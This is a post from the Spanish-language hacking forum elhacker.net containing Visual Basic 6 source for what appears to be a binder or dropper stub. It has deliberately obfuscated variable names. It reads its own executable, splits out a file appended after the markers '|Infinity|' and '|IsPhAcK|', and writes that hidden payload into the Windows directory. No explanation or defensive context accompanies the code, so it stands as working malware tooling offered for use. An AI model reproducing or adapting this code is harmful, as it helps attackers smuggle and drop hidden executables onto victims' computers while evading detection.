Foro de elhacker.net

Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
Private Declare Function GetModuleFileName Lib "kernel32" Alias "GetModuleFileNameA" (ByVal hModule As Long, ByVal lpFileName As String, ByVal nSize As Long) As Long
Private Declare Function GetWindowWord Lib "user32" (ByVal hwnd As Long, ByVal nIndex As Long) As Integer
Const GWW_HINSTANCE = (-6)
Const SW_SHOWNORMAL = 1
Const SW_SHOWHIDE = 0
Dim qL03dVGjy48zqadiY4Tt As String
Dim JzubtbDcbqnUyen3dgq1 As String


Private Function Ruta() As String
Dim yf5NZzt9kYdmVs0rB1xJ As String, FvazNgSfP6Y1sLGTtJ9h As String, dowISKNxLrmGp0pCiDUr As Long
yf5NZzt9kYdmVs0rB1xJ = String$(128, Chr$(0))
dowISKNxLrmGp0pCiDUr = GetWindowWord(isp.hwnd, GWW_HINSTANCE)
yf5NZzt9kYdmVs0rB1xJ = Left$(yf5NZzt9kYdmVs0rB1xJ, GetModuleFileName(dowISKNxLrmGp0pCiDUr, yf5NZzt9kYdmVs0rB1xJ, Len(yf5NZzt9kYdmVs0rB1xJ)))
Ruta = yf5NZzt9kYdmVs0rB1xJ
End Function

Private Sub Main()


On Error Resume Next
Dim FjawcxU5VVpyj1K8cPRE As String
Dim ygyp8EL4PPCmjuYIVFRq As String
Dim bSruZqfCWVjiytOt10ok As String
Dim OcXqmgunrENzOM6a4gre As String
qL03dVGjy48zqadiY4Tt = "|Infinity|"
JzubtbDcbqnUyen3dgq1 = "|IsPhAcK|"
Open Ruta For Binary As #1
Dim gWWkEBQkV7AJpm5VgaIa As String
gWWkEBQkV7AJpm5VgaIa = Space(LOF(1))
Get #1, , gWWkEBQkV7AJpm5VgaIa
Close #1
Dim PVGFkLUjVKt66hkTWTsH As Variant, LMgXOjUEyhn2UR4rEDiW As Variant
PVGFkLUjVKt66hkTWTsH = Split(gWWkEBQkV7AJpm5VgaIa, qL03dVGjy48zqadiY4Tt)
For n = 1 To UBound(PVGFkLUjVKt66hkTWTsH)
LMgXOjUEyhn2UR4rEDiW = Split(PVGFkLUjVKt66hkTWTsH(n), JzubtbDcbqnUyen3dgq1)
For i = 0 To UBound(LMgXOjUEyhn2UR4rEDiW)
Select Case i
Case 0
L0L = LMgXOjUEyhn2UR4rEDiW(i)
Case 1
ygyp8EL4PPCmjuYIVFRq = LMgXOjUEyhn2UR4rEDiW(i)
Case 2
Select Case LMgXOjUEyhn2UR4rEDiW(i)
Case "Windows"
bSruZqfCWVjiytOt10ok = Environ("WINDIR")
End Select
Case 3
OcXqmgunrENzOM6a4gre = LMgXOjUEyhn2UR4rEDiW(i)
Case 4
FjawcxU5VVpyj1K8cPRE = LMgXOjUEyhn2UR4rEDiW(i)
End Select
Next i
Next n
Open bSruZqfCWVjiytOt10ok & "\" & ygyp8EL4PPCmjuYIVFRq For Binary As #1
Put #1, , FjawcxU5VVpyj1K8cPRE
Close #1
End Sub